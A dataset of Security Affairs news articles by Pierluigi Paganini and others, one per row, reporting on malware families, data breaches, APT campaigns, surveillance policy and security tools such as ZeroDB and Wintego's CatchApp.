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5088_57970 | Modern mobile devices are full of sensors (i.e. GPS, Camera, microphone, accelerometer, magnetometer, proximity, gyroscope, pedometer, and NFC) that could be exploited by hackers to gather data about owner’s activities?, A group of researchers from Newcastle University demonstrated that hackers can potentially guess PINs and passwords entered by the owner of the mobile device while authenticating itself on a website or an app. The technique devised by the experts has a surprising degree of accuracy, experts can monitor the angle and motion of the phone while the owner is typing a secret code., Unfortunately, mobile phones don’t restrict websites and apps from accessing sensors’ data., “Most smartphones, tablets and other wearables are now equipped with a multitude of sensors, from the well-known GPS, camera, and microphone to instruments such as the gyroscope, proximity, NFC, and rotation sensors and accelerometer,” reads the paper titled “Stealing PINs via mobile sensors: actual risk versus user perception” that was published by the experts., “But because mobile apps and websites don’t need to ask permission to access most of them, malicious programs can covertly ‘listen in’ on your sensor data and use it to discover a wide range of sensitive information about you such as phone call timing, physical activities and even your touch actions, PINs and passwords.”, Researchers were able to acquire data from around 25 sensors in a smartphone., Below a video PoC of the attack devised by the researchers, the experts developed a malicious script to collect sensor data from an iOS device., , The script can be embedded in a mobile app or loaded on a website visited by the victims. This means that attackers just have to trick victims into visiting a malicious website either installing a malicious app., At this point, everytime a victim types on the phone while visiting the website or using the malicious app in the background of the device, the malicious script will access data from the sensors and record information that could be used to guess a PIN or a password., , Researchers were able to guess four-digit PINs on the first try with 74% accuracy and on the fifth try with 100% accuracy. These results were obtained using data logged from 50 devices and by using information collected from just motion and orientation sensors, these specific categories of sensors do not require any special permission to access., The researchers reported their findings to leading browser providers such as Google and Apple, Mozilla and Safari have already partially fixed the issue. Anyway the researchers are working with companies in the IT industry to find a proper solution to definitively mitigate such kind of attacks., Pierluigi Paganini, (Security Affairs – mobile, sensors) |
3326_44111 | In 2015, security experts have detected the a record number of new malware, according to a report published by Panda Security more than 84 million new malware samples were collected., It is an impressive number considering that corresponds to the 27 percent of all malware ever created., “Last year saw the greatest number of cyberattacks recorded around the world, with a total of 304 million samples, which means that more than a quarter of all malware samples ever recorded were produced in 2015 (27.63%).” states the report., Giving a closing look at the report it is possible to note that Trojans are the main threats, they account for 51.45 percent, followed by viruses at 22.79 percent, worms at 13.22 percent, potentially unwanted programs such as adware at 10.71 percent and cases of spyware at 1.83 percent., , The spike in the number of threats despite the improvement of Antivirus solution is mainly caused by an intensification of the activities of malware authors. Threat actors are spreading more variations on the same strain of malware with the intent to avoid detection, an operation that benefits of the availability of automated software slightly modify the malicious code., Fortunately, antivirus vendors are getting smarter improving detection mechanisms and a rapid information sharing that allows them to promptly respond to new threats., Panda Security confirmed to have a dedicated infrastructure to share malicious code samples with other vendors., Looking at the geography of the infections, China remains one of the most infected countries in the world (57.24%). The number of infections in China increased nearly 30% more than in 2014. Taiwan was the second with an infection rate of 49.15%, followed by Turkey (42.52%)., Enjoy the report!, Pierluigi Paganini, (Security Affairs – cybersecurity, Panda Security) |
1590_29714 | An embarrassing incident involved the computer systems of the Obama Administration, according to the media an unclassified computer network used by the US government was infiltrated by hackers., The New York Times reported that an unnamed official working at the White House has admitted systems used by President Obama’s staff were breached by external hackers. The intrusion was detected by defense systems and triggered a temporary system outages., The system outages was caused “as a result of measures we have taken to defend our network,” said the official., According the experts the hacker was engaged in reconnaissance, there is no evidence of data breach, neither of sabotage. The attacker was trying to discover the composition of the unclassified White House network., “Administration officials said the attack did not appear to be aimed at destruction of either data or hardware, or to take over other systems at the White House. That strongly suggests that the hackers’ intention was either to probe and map the unclassified White House system, find entry points where they connect to other system or conduct fairly standard espionage.” reported The New York Times., The Washington Post speculated that Russian hackers may have coordinated the intrusion in the unclassified network of the White House, the thesis is supported by the results of recent investigations on espionage campaigns on a large scales, which uncovered hacking campaigns operated by Russian hackers, probably linked to the Kremlin., , “The Russian intelligence service was believed to have been behind a breach of the U.S. military’s classified networks, which was discovered in 2008. ” reported the Washington Post., Recently security firm iSight issued a report in an APT group dubbed “Sandworm” team that was running a cyber espionage campaign on NATO and other Government entities, including the European Union, the Ukraine., Yesterday security firm FireEye reported of another ATP group, dubbed APT28, which seems to be linked to the Russian government and that is active since 2007. APT28 run a cyberespionage campaign against governments, militaries and security companies worldwide., The White House official said:, “Certainly a variety of actors find our networks to be attractive targets and seek access to sensitive information. We are still assessing the activity of concern.” White House officials said., “On a regular basis, there are bad actors out there who are attempting to achieve intrusions into our system,” said a second White House official. “This is a constant battle for the government and our sensitive government computer systems, so it’s always a concern for us that individuals are trying to compromise systems and get access to our networks.”, Secret Service, National Security Agency and the FBI are investigating the security breach., Pierluigi Paganini, Security Affairs – (White House, cyber espionage) |
4276_51513 | Security researchers at Zscaler warn of a new sophisticated commercial keylogger dubbed iSpy. The malware is a perfect surveillance tool, it was developed to capture victim’s keystroke and screenshots, access webcam, steal user data and license keys to popular applications., “Zscaler ThreatLabZ recently came across a signed keylogger campaign in our cloud sandbox. In this blog, we will provide an analysis of this malicious commercial keylogger, known as iSpy. Written in .Net 2.0, iSpy is configured for keylogging, stealing passwords and screenshots, and monitoring webcams and clipboards. It is being sold on underground forums via multiple subscription packages” states the alert issued by Zscaler., iSpy has a modular structure, buyer can choose the features it has to include, it implements also multiple features that are designed to make it hard to detect., The keylogger sends stolen data to C&C server via FTP, SMTP, or HTTP protocols, it gains persistence on the infected host by creating an entry in “SOFTWARE\Microsoft\Windows\CurrentVersion\Run” key under HKLM or HKCU., The attack chain starts with spam email that has malicious JavaScript or Document as an attachment. When victims open the document iSpy is downloaded to the infected machine., “iSpy is delivered via spam email that has malicious JavaScript or Document as an attachment, which then downloads the keylogger payload.” continues the analysis. “The main iSpy payload is usually compressed using a custom packer. So far, we have seen packers written in Visual Basic 6.0, AutoIt, and .Net. We have also seen a campaign of signed .NET crypter where iSpy was served. This crypter uses different digital certificates (mostly invalid certificates) and drops different malware samples”, The iSpy keylogger implements advanced keylogger functionalities to spy on its victims avoid detection, some of the packers analyzed by Zscaler are digitally signed with invalid certificates., The malware researchers highlighted the presence of a license stealing feature implemented by iSpy that could be used by crooks to monetize their efforts by reselling the license keys of popular applications (i.e. Microsoft Office, Adobe Photoshop) in the cyber criminal underground., ” It also contains code to steal the license keys of application software, such as Adobe Photoshop, Microsoft Office, and others. It also collects saved passwords from web browsers, email clients (such as Outlook), FTP clients (like FileZilla and CoreFTP), and games like Minecraft.” states the analysis published by Zscaler., ISpy is currently available for sale in several crime forums, sellers are offering multiple subscription packages including scalable technical features., A Bronze Package which offers a one-month access to the malware, instant activation, free support and free updates goes for $25. iSpy is also offered with a “small business” package that goes for $35 and includes six-month access to the malware and six months of free support and updates., The most popular option is the Diamond Package that costs $45 for one-year access, support, and upgrades., , The version of iSpy analyzed by Zscaler has a web panel that allows attackers to monitor all the activities on the infected system., , I suggest you give a look at the report that also includes Indicators of Compromise., Pierluigi Paganini, (Security Affairs – iSpy keylogger, spyware) |
6604_71698 | Security experts at Symantec have published a report on the activity of a cyber espionage group tracked as Orangeworm that targets healthcare organizations., “Symantec has identified a previously unknown group called Orangeworm that has been observed installing a custom backdoor called Trojan.Kwampirs within large international corporations that operate within the healthcare sector in the United States, Europe, and Asia.” states the report published by Symantec., “First identified in January 2015, Orangeworm has also conducted targeted attacks against organizations in related industries as part of a larger supply-chain attack in order to reach their intended victims.”, Orangeworm was first spotted in January 2015, it appears to be focused on the healthcare industry, 40% of the targets belong to this industry, The hackers also targeted including IT (15%), manufacturing (15%), logistics (8%), and agriculture (8%) industries, but in all the cases the victims are part of the supply chain for healthcare entities., , Most of the victims are located in the United States (17%), followed by Saudi Arabia and India, anyway Orangeworm hit organization in many countries including Philippines, Hungary, United Kingdom, Turkey, Germany, Poland, Hong Kong, Sweden, Canada, France. , Orangeworm targeted a small number of victims in 2016 and 2017, but infections most affected large international corporations in several countries., The hackers use a custom backdoor tracked as Trojan.Kwampirs to remotely control infected machine on the compromised network., Initially, the backdoor is used as a reconnaissance tool, if compromised machine contains data of interest the backdoor “aggressively” spread among other systems with open network shares., “The backdoor also collects some rudimentary information about the compromised computer including some basic network adapter information, system version information, and language settings.” continues the analysis., “Orangeworm likely uses this information to determine whether the system is used by a researcher or if the victim is a high-value target. Once Orangeworm determines that a potential victim is of interest, it proceeds to aggressively copy the backdoor across open network shares to infect other computers. “, The experts observed attackers run a wide range of commands within the compromised systems:, , The Kwampirs backdoor was discovered by Symantec on machines hosting software used for high-tech imaging devices, such as MRI and X-Ray machines. It was also discovered on devices used to assist patients in completing consent forms., Experts highlighted that the methods used by Kwampirs to propagate over the target network are particularly “noisy,” this suggests Orangeworm is not overly concerned with being discovered., At the time of the report, the experts still haven’t determined the real motivation of the attackers or their origin, but even if they are conducting cyber espionage there is no evidence that the operation is backed by a nation-state actor., Experts noted that the actors behind Orangeworm do not appear to be concerned about their activities being detected., “While Orangeworm is known to have been active for at least several years, we do not believe that the group bears any hallmarks of a state-sponsored actor—it is likely the work of an individual or a small group of individuals. There are currently no technical or operational indicators to ascertain the origin of the group.” concluded Symantec., Further information, including Indicators of Compromise, are included in the report., Pierluigi Paganini, (Security Affairs – Orangeworm hackers, cybercrime), , |
7599_79595 | Hackers hit the Titan Manufacturing and Distributing company and compromised its computer system to steal customer payment card data for an entire year. , Attackers breached into the computer system at Titan Manufacturing and Distributing company to steal customer payment card data for roughly a year. , The company confirmed that hackers were able to install malware in its system in 2017, the malicious code remained undetected between November 23, 2017 and October 25, 2018., The malware was used by attackers to steal financial data of customers who purchased goods from one of the company online stores. The malicious code was designed to user information, including name, billing address, telephone number, payment card number, expiration date, and verification code. , Titan Manufacturing and Distributing company doesn’t store this information, but the malware was designed to access shopping cart and siphon financial data from the website. , Users that have purchased products in the above period might have been affected by the security breach. , “Titan has confirmed through an IT security expert that its computer system has been compromised by malware that could have been present from approximately November 23, 2017 until October 25, 2018. ” reads the letter sent to its customers., “Titan Manufacturing and Distributing, Inc. values your business and recognizes the importance of the security of your information. For these reasons, we are writing to let you know, as a precautionary measure, that Titan has been the victim of a data security incident that may involve your information,” the company says. , The company is investigating the incident with the help of a cyber security firm., At the time is still unknown the number of affected customers, according to a letter sent by Titan’s external counsel Butler & Snow to the Washington State Attorney General, the number of affected residents were 1,838. , According to the experts, the malware used in the attack is similar to the one used by Magecart crime gang that targeted numerous e-commerce websites., Pierluigi Paganini, (SecurityAffairs – Magecart, hacking), |
4102_50094 | It is true that Android security apps work wonder and also Google has been trying to use fewer passwords or none whatsoever, making it harder for someone to penetrate the privacy of its users. , Now, with the launch of a new API, the company took a step further towards the right direction. Dashlane and Google are working together on this project, which is eloquently called Open YOLO (You Only Login Once Rather than You Only Live Once)., According to the blog post from Malaika Nicholas, community manager at Dashlane: “Dashlane is spearheading the collaboration with other top password management companies, who will contribute their unique security and software development expertise to improve the design and implementation of this open API. We’re excited to cooperate on an open solution that puts the user’s experience first when they choose how to manage secure logins.”, , User experience is of the essence since many people do not handle their passwords well enough. They spend a lot of time trying to come up with complicated, difficult passwords, or they use the same passwords over and over again. , This is not a situation that can go on forever. Instead, Android security breaches have their root in the lack of safety. With this API, the user experience is going to improve a great deal., There are others of course that share their concerns about using passwords altogether. In other words, they claim that passwords are wrong, and nobody should use them. , On the contrary, they should walk to an entirely different path. Two-factor or multi-factor authentication, the use of biometrics and even geolocation are all innovative technologies. These are solutions that have long term effects and can work wonders for the security of everyone., This acknowledgement is backed by a recent report of a study, which revealed the likes and preferences of people in the field of passwords and security. To be more specific, more than half of the respondents (52% to be exact) would prefer a new technology to replace username and password in their early forms. This means that users have become well aware of the dangers lying behind the lack of security. So, they are open to change., Google has made a step, whether this move is going to prove radical or not. The truth is that new methods for accessing accounts are a must, and soon many companies will have practical solutions for users., Written by Ali Qamar, Founder/Chief Editor at Cyberogism.com, Author Bio:
Ali Qamar is a tech and security enthusiast who enjoys “deep” research to dig out modern discoveries in the security industry. Currently, he is the chief editor at Cyberogism.com, an ultimate source for tech, security and innovation. To be frank and honest, Ali started working online as a freelancer and still shares the knowledge for a living. He is passionate about sharing the knowledge with people, and always try to give only the best. Follow Ali on Twitter @AliQammar57, , Pierluigi Paganini, (Security Affairs – Google API, passwords) |
4098_50070 | Two men have stolen more than 100 vehicles by using a laptop running a common software that’s used by technicians and auto dealers., The two criminals, Michael Arce, 24, and Jesse Zelaya, were identified and arrested by the police in Houston and were accused of using a pirated software for the car thefts., The duo allegedly used a software running on the laptop to reprogram the targeted vehicles’ electronic security, in this way they can use they own key to access the vehicle and steal it., According to the authorities that are investigating the case, the men may have exploited an electronic vulnerability to steal the vehicles., The two thieves are specialized on new Jeep and Dodge vehicles, both manufactured by Fiat Chrysler, these models are easy to sell on the black market in Mexico., “As you get more and more computers installed in vehicles — if somebody has that knowledge and that ability, they can turn around and figure out a way to manipulate the system,” said the Houston police officer Jim Woods., Fiat Chrysler and the authorities are investigating the case, in particular, it is important to understand if the crooks got access to a computerized database of codes used by dealers, and how. Data in the database are used by auto repair shops to replace lost key fobs., The investigation began in late May after the theft of a Jeep Wrangler in Huston, local police received information from federal Homeland Security and Immigration and Customs Enforcement officers about vehicles being stolen using a pirated software running on a laptop., The two criminals were arrested in Huston, the police also recovered electronic devices, keys, and other tools believed used in the thefts., The two men have also been filmed during a theft of a Jeep Wrangler, the surveillance video shows the suspects got under the hood, cut wires of an alarm and then jumped inside the SUV. Once inside, he used the database and the vehicle identification number to program a new key fob for the Jeep., Once inside the vehicle, the criminals used the laptop running the software that accessed the database of the vehicle identification number to program a new key fob., The Fiat Chrysler spokesman Berj Alexanian explained that the code database contains information related to vehicles across the country., “We’re looking at every and all solutions to make sure our customers can safely and without thinking park their vehicles,” Alexanian said., , The massive introduction of technology in modern vehicles is enlarging their surface of attack, for this reason, car hacking is becoming a scaring reality., The number of possible attacks to modern vehicles is increasing day by day with the continuous study conducted by researchers in the IT industry., The security of modern vehicles must be completely reviewed trying to assess all the attack scenarios and adopt the necessary countermeasures through the installation of multiple layers of defense., The major car vendors, including Fiat Chrysler, are seriously investing in cyber security, their vehicles are tested by skilled hackers and some companies have already launched bug bounty programs., Pierluigi Paganini, (Security Affairs – Car thefts, Car Hacking) |
3317_44051 | In the last 2/3 years, we have seen a significant increase in the number of POS malware, their diffusion is becoming even more worrying. We read about many high-profile breaches that involved high-complex malware targeting payment systems worldwide., Today we catch up with CenterPOS, a malicious code under investigation of FireEye experts. This fairly new malware was discovered in September 2015 in a folder that contained other POS malware, including NewPoSThings, two Alina variants known as “Spark” and “Joker,” and the infamous BlackPOS malware., , The sample analyzed by FireEye is identified with an internal version number 1.7 and contains a “memory scraper that iterates through running processes in order to extract payment card information. The payment card information is transferred to a command and control (CnC) server via HTTP POST”:, Many variants of the malware version 1.7 were found, associated with different CC locations:, , FireEye even discovered a live CnC server that show that in the underground the malware is known as “Cerebrus”( don’t mix it with the RAT also known as Cerberus):( don’t mix it with the RAT also known as Cerberus):, Besides the version 1.7, a version 2.0 was found, and it’s very similar with 1.7 with the difference that in version 2.0 its used a config file to store the information related to the CC server., “The malware contains two modes for scraping memory and looking for credit card information, a “smart scan” mode and a “normal scan” mode. The “normal scan” mode will act nearly the same as v1.7”, The CenterPOS scans all processes searching for those that meets the following criteria:, If a process meets the criteria ” the malware will search all memory regions within the process searching for credit card data with regular expressions in the regular expression list.”, Moving on to the “smart scan”, this scan is initiated with a normal scan, and “any process that has a regular expression match will be added to the “smart scan” list. After the first pass, the malware will only search the processes that are in the “smart scan” list.”, “After each iteration of scanning all process memory, the malware takes any data that matches and encrypts it using TripleDES with the key found in the configuration file.”, The malware sends information to the CC server about the “hacked” system including the current settings, always after a performed scan. The collected info includes all system users, logged in users, sessions, process list, and current settings list. The info is send by a separate HTTP POST request., ” The malware primarily sends data to the CnC server, but can also receive commands and in addition to processing commands, the malware also accepts commands to update its current settings.”, The next table includes data related the variants of the CenterPOS version 2.0 found by FireEye:, , As I referred in the beginning of the article, many POS malware were found in the last 2/3 years and this is related with the huge demand criminal underground. Retailers represent a privileged target to steal payment card information and get money., CenterPOS or Cerebrus, as will likely continue to evolve, their authors will include more functionalities in future versions., If you feel interested to get more details, please visit FireEye blog, here., About the Author Elsio Pinto, adorate banner=”9″, Edited by Pierluigi Paganini, (Security Affairs – CenterPOS, POS malware), adorate banner=”12″ |
3353_44301 | The best news of the week with Security Affairs, , , , Once again thank you!, Pierluigi Paganini, (Security Affairs – Newsletter, SecurityAffairs) |
7457_78353 | The experts at Cybaze ZLab – Yoroi continue the analysis of new strain of malware used by the Russia-linked APT29 cyberespionage group (aka The Dukes, Cozy Bear, and Cozy Duke)., The researchers of Yoroi ZLab, on 16 November, accessed to a new APT29’s dangerous malware which seems to be involved in the recent wave of attacks aimed at many important US entities, such as military agencies, law enforcement, defense contractors, media companies and pharmaceutical companies., Threat actors carried out spear phishing attacks impersonating a State Department official to attempt compromising targets, The experts discovered that Cozy Bear cyberspies used in the last campaign a technique to drop malicious code that was already employed by threat actors., APT29 along with APT28 cyber espionage group was involved in the Democratic National Committee hack and the wave of attacks aimed at the 2016 US Presidential Elections., The same technique has been used by the APT group back in 2016 when the Cozy Bear in the aftermath of the US Presidential Election., At the time, Cozy Bear hackers carried out spear-phishing attack using a zip file containing a weaponized self-extracting link file that drops a decoy document and the final payload., , The researchers at Cybaze ZLab – Yoroi pointed out that the technique used to avoid detection is very sophisticated., “The usage of a link file containing the complete payload is a powerful technique, still hard to detect by several common anti-virus solutions. Despite the effectiveness of this strategy, the creation of the weaponized LINK such the one analyzed is quite easy, many publicly available resources could help crooks to abuse it.” reads the analysis published by Cybaze ZLab – Yoroi researchers., The C2C “pandorasong.com” recalls the legit “pandora.com” domain name, one of the most popular music streaming service in the US. Moreover, the requests sent by the malware are forged to look like as legit Pandora traffic, using information publicly available on GitHub., According to FireEye’s report the final DLL contains a beaconing payload generated with Cobalt Strike, a well-known post-exploitation framework typically used by Red-Teams., The complete analysis conducted by Cybaze ZLab – Yoroi, including the Yara rules, are reported in a blog post on the Yoroi blog., New “Cozy Bear” campaign, old habits, , Pierluigi Paganini, (Security Affairs – Cozy Bear APT, cyberespionage) |
438_11319 | Everytime a news related to Stuxnet is spread in internet immediately the world wide security community writes on cyber war and the possible consequences of a cyber attacks, but what is really happened this time?, Iranian authorities claim to have rejected a new cyber attack against industrial units located in the south of the country, but this doesn’t represent a novelty because Iran and its infrastructures have been hit during last years by different cyber offensives., Many security experts and journalists blame governments of US and Israel as author of the dangerous cyber weapon Stuxnet, they have concentrated the effort to create a malware able to interfere with nuclear program of Iranian government., Several years after its discovery the Stuxnet virus has hit a power plant and other industries in southern Iran according a declaration of an Iranian civil defense official., , Iranian news agency Fars revealed that a malware Stuxnet-like attacked the Culture Ministry’s Headquarters for Supporting and Protecting Works of Art and Culture and was reportedly sent from Dallas via switches in Malaysia and Vietnam., The Iranian Students’ News Agency confirmed that the country’s Passive Defense Organization had detected a computer virus offensive that hit an electric utility, the Bandar Abbas Tavanir Co, and other unspecified manufacturing industries in southern Hormozgan Province, home to a large oil refinery and container port in the provincial capital of Bandar e Abbas., But Stuxnet is a well-known malware, and Iranian government has detected it successfully preventing any diffusion inside the networks of the country. The chief of the Passive Defense Organization’s provincial branch, Ali Akbar Akhavan, commented the event with the following statement:, “We were able to prevent its expansion owing to our timely measures and the cooperation of skilled hackers,” , Akhavan added that the malware was “Stuxnet-like”, There aren’t currently reliable information on the extent of any damage to structures, and unknown is also the real nature of the attacks. According some cyber security specialists the attacks could be a response of US and Israel for the cyber offensives that hit US financial institutions and also Saudi Arabian oil industry, but sincerely speaking I believe that we are facing with an ordinary and planned offensive that is totally independent from other events., Iran is a privileged cyber targets and events like this are very common, I don’t understand the real motivation for the use of Stuxnet like malware, a cyber threat that could hardly produce effects desired due its past., But … few hours after the scenario totally changed, the same Ali Akbar Akhavan clarified:, “At a press conference we announced readiness to confront cyber attacks against Hormuzgan installations, which was mistakenly reported by the agencies as a cyber attack having been foiled,” , Despite earlier on Tuesday, ISNA news agency quoted him as saying:, “A virus had penetrated some manufacturing industries in Hormuzgan province, but its progress was halted with … the cooperation of skilled hackers.”, What is really happened? Do news agencies created a non-case?, We’re probably before the nth propaganda campaign, during the last year other effects have been observed by Iranian cyber defense such as continuous network slowdowns and other mysterious attacks against national offshore oil and gas platforms., While in cyberspace the dispute appears very active the world wide politics hope that diplomatic negotiations will be re-opened to solve the nuclear confrontation stalled since last summer., Will diplomacy solve the situation? Who really benefits this tension? It’s a mission impossible!, Pierluigi Paganini |
3348_44271 | The imperative is “monitor everything,” for espionage, business, and homeland security. Now the British Government is negotiating with the US Government the possibility to allow the British intelligence to tap into servers the US companies., The Washington Post has seen a draft proposal that would allow the agents of the British Security Service MI5 to access overseas servers run by American companies. The document allows the British services to conduct live wiretaps as needed, of course the secret agreement will give the same opportunity to the US intelligence., MI5 and the US counterpart already collaborate, but the mutual access to data managed by private companies is a time-consuming process., Under the proposed deal, US companies would be compelled to hand over the data on request. The new deal aims to speed up the process, it states that US companies would be compelled to hand over the data on request., “To obtain stored emails, a foreign government must rely on a mutual legal assistance treaty (MLAT) by which the country makes a formal diplomatic request for the data and the Justice Department then seeks a court order on its behalf — a process that is said to take an average of 10 months.” reported The Washington Post, “This has been an issue with the U.K. and other countries for a number of years,” said one senior administration official, who like several others spoke on the condition of anonymity to discuss the negotiations. “Because of technological changes, the U.K. can no longer access data in the U.K. like they used to be able to, and more and more, U.K. nationals — including criminals in their country — are using providers like Google, Facebook, Hotmail. The more they are having challenges getting access to the data, the more our U.S. providers are facing a conflict of laws.””, , The mutual legal agreement may face legal issued due to the current law in UK where wiretap orders can be issued by the British Home Secretary., “If U.S. officials or Congress do not seek changes in the British standards, “what it means is they’re going to allow a country that doesn’t require independent judicial authorization before getting a wiretap to continue that practice, which seems to be a pretty fundamental constitutional protection in the United States,” said Eric King, a privacy advocate and visiting lecturer in surveillance law at Queen Mary University of London. “That’s being traded away.”, Despite the heated debate about users’ privacy, the US Government doesn’t seem to be worried by the proposals because the British authorities already adopt important procedural protections for privacy., Pierluigi Paganini, (Security Affairs – surveillance, US and UK) |
3123_42700 | While politicians and experts are debating around encryption, the End-to-end encrypted database ZeroDB becomes open source and its code is available on GitHub., ZeroDB is an end-to-end encrypted database in which the storage server knows nothing about the data it is storing, as reported on the official website query logic is performed client-side against encrypted data on a remote server, in this way even if the storage server is hacked, an attacker will not be able to view the unencrypted data., ZeroDB allows users to develop applications with strong security with specific care to the end-user privacy. ZeroDB is particularly suitable for applications that need to store encrypted information on untrusted servers such as a public cloud storage., , The database is based on Zope Object Database (ZODB), which is an object-oriented database for transparently and persistently storing Python objects, and written inPython., “In ZeroDB, the client is responsible for the database logic. Data encryption, decryption and compression also happen client side. Therefore, the server never has any knowledge about the data, its structure or order,” it is explained in the documentation. “Since the server has no insight into the nature of the data, the risk of a server-side data breach is eliminated. Even if attackers successfully infiltrate the server, they won’t have access to the cleartext data,” the developers pointed out., The user data on the server is always encrypted, at rest, in transit, and even when used. The developers behind the ZeroDB project, MacLane Wilkison and Michael Egorov, changed the license from proprietary to AGPLv3 early this week., “Now that it’s open source, we want your help to make it better. Try it, build awesome things with it, break it. Then tell us about it.” states the post the officially announces ZeroDB goes open source. “Today, we’re releasing a Python implementation. A JavaScript client will be following soon.”, The ZeroDB is recommended for companies in the financial services industry, healthcare industry, government agencies, media companies and telecoms., The announcement related to ZeroDB comes a few days after the one of Hashcat, the popular password recovery tool that has been released as open source under the MIT license., Pierluigi Paganini, (Security Affairs – database, ZeroDB) |
5461_61009 | The three versions of Linux distros are Ubuntu, Fedora, and SUSE., , Users will be able to install the above Linux operating systems on their Windows machine, the novelty is represented by Fedora and SUSE because Ubuntu is already available on the Windows Store for download,, Pierluigi Paganini, (Security Affairs – Linux on Windows, Windows) |
475_12091 | We never tire of repeating, social networks are an ideal conduit, due their large diffusion, for the spread of malware, they are used by cybercrime to realize complex fraud schema and by military to conduct offensive operations or cyber espionage campaigns. ESET Security Research has published an interesting analysis on the ‘PokerAgent’ botnet detected during 2012 that hit Facebook users stealing log-on credentials and collecting information on credit card details linked to the Facebook account and Zynga Poker player stats., The botnet infected computers all around the world, mainly located in Israel stealing over 16194 Facebook credentials., “Our tracking of the botnet revealed that at least 800 computers have been infected with the Trojan and that theattacker had at least 16194 unique entries in his database of stolen Facebook credentials by March 20, 2012”, , , , It adopted a consolidated schema providing a link to the victims would lead to a compromised webpage, the pages featured tabloid topics which a user could be curious to click on. Users are anyway redirected to a fake Facebook login page used to collect user’s credentials., Very interesting the logic implemented in malware code that uses a funcion dubbed ShouldPublish to determine whether the phishing links should be posted to the user’s wall depending on whether the victim has any credit cards linked to his account and his Zynga Poker ranking., , The ESET researchers noted that the malware does not log into or in any way interfere with the Facebook account of the victim, the tasks given to bots are not carried out from the attacker’s computer., Having said that, the aforementioned facts lead us to the conclusion that the purpose of the botnet is to:, Probably attacker are interested to collect credit card information ro successively sell the database to other criminals., , , The ‘PokerAgent’ isn’t the unique malware-based attack that exploits social media, to avoid to be victim of similar fraud it is suggested to use updated defense system and to take proper conduct in the use of social networks.
Fortunately principal social media platform are implementing a series of countermeasure to mitigate cyber threats such as two-factor authentication to prevent the infected bots from logging into the victim Facebook accounts., Pierluigi Paganini |
6805_73488 | An expert from Vertek Corporation spotted the C&C server while investigating a recent malware campaign distributing a version of the Trik trojan. The malicious code was used as a first-stage malware that was used to drop, which was used to drop GandCrab v3 ransomware., Malware experts from the Proofpoint firm have recently begun tracking the Phorpiex/Trik botnet that was used by sophisticated threat actors to distribute a range of malware., “It is not especially sophisticated or complex but has been active for almost a decade, flying under the radar and attracting a solid customer base of threat actors.” reads the analysis published by Proofpoint., “As we began tracking this botnet more closely, we discovered that a number of familiar actors were repeatedly leveraging Trik’s power and distribution capabilities for delivery of their malware.”, Both malware would download the malicious files from a misconfigured server located on a Russian IP address., The content of the server was accessible to anyone, the researcher discovered 2201 text files, labeled sequentially from 1.txt to 2201.txt containing chunks of roughly 20,000 email addresses, each., “The Vertek researcher believes the operators of this server have been using these recipient lists to service other crooks who contracted their services to distribute various malware strains via malspam campaigns.” reported Bleeping Computer., , “We pulled all of them to validate that they are unique and legitimate,” the researcher told Bleeping Computer earlier today. “Out of 44,020,000 potential addresses, 43,555,741 are unique.”, The researcher shared its findings with working with the popular cyber security expert Troy Hunt that runs the Have I Been Pwned service, to determine the origin of the data., The huge trove of email addresses is from everywhere, the expert counted 4.6 million unique email domains (i.e. .gov, .com, and domain of several private businesses)., The vast majority of email addresses are old, (Yahoo (10.6 million) and AOL (8.3 million))., “Surprisingly, while there are many custom email domains included in the leak, there are very few Gmail addresses included, suggesting the email addresses database is either incomplete, or this malware campaign intentionally targeted users using older email services.” continues Bleeping Computer., The Trik C&C server discovered by the expert is going offline at intermittent intervals., Below the Top 10 email domains included in the leaked data:, Pierluigi Paganini, (Security Affairs – spam botnet, hacking) |
4308_51783 | The Israeli surveillance firm Wintego is offering for sale a system that is able to hack WhatsApp encrypted communications from mobile devices within close proximity of a hidden Wi-Fi hacking device in a backpack., , The news has been reported by Forbes that obtained and published brochures of the system called CatchApp. According to the firm, CatchApp is able to intercept the WhatsApp traffic between the app and the WhatsApp server., “Brochures leaked to FORBES, and published below, revealed a non-public offering from Haifa-based Wintego called CatchApp. It promises an “unprecedented capability” to break through WhatsApp encryption and grab everything from a target’s account.” reported Forbes., “in theory the traffic is intercepted between the app and the WhatsApp server and somehow the encryption is decoded by the device, though that may not be possible with the latest upgrades to the software’s cryptography.” Forbes., The Wintego brochure is no older than April 2015, the anonymous source who provided the documents to FORBES confirmed that the product works on the most current versions of WhatsApp., The CatchApp feature can be delivered from Wintego’s WINT Cyber Data Extractor that fits into a backpack., In reality, the WINT hacking device is a complete surveillance system that could allow attackers to extract the entire contents of the targets’ mobile device, including email accounts, chat sessions, social network profiles, detailed contact lists, calendars, photos, web browsing activity, files, and much more., The WINT Cyber Data Extractor is able to overcome “the encryption and security measures of many web accounts and apps” to grab those credentials., WINT accesses to a device by intercepting WiFi communications, even when they are attached to a private encrypted network. It is able to track multiple devices by using four separate Wi-Fi access points., Security experts have some doubts about the real capabilities of the CatchApp, they consider impossible to break the end-to-end encryption implemented by the popular messaging system., The popular expert Jonathan Zdziarski believes the CatchApp tech is exploiting security vulnerabilities in the Secure Sockets Layer (SSL) encryption., “I suspect they’re taking advantage of a number of vulnerabilities in SSL implementations… many systems are susceptible to downgrade attacks and other types of MITMs.”, The popular cryptography expert Matthew Green hypothesized that CatchApp is malware designed to exploit WiFi connections as the attack vector in order to target WhatsApp, anyway, it cannot break WhatsApp cryptography., “They would have to defeat both the encryption to and from the server and the end-to-end Signal encryption. That does not seem feasible at all, even with a Wi-Fi access point.” Matthew Green told FORBES., “I would bet mundanely the password stuff is just plain phishing. You go to some site, it asks for your Google account, you type it in without looking closely at the address bar.”, “But the WhatsApp stuff manifestly should not be vulnerable like that. Interesting.”, Wintego is only one of the numerous highly-secretive surveillance firms that sell solutions that could be used to spy on victims, but that in the wrong hands could represent a serious threat for netizens., Pierluigi Paganini, (Security Affairs – CatchApp, WhatsApp) |
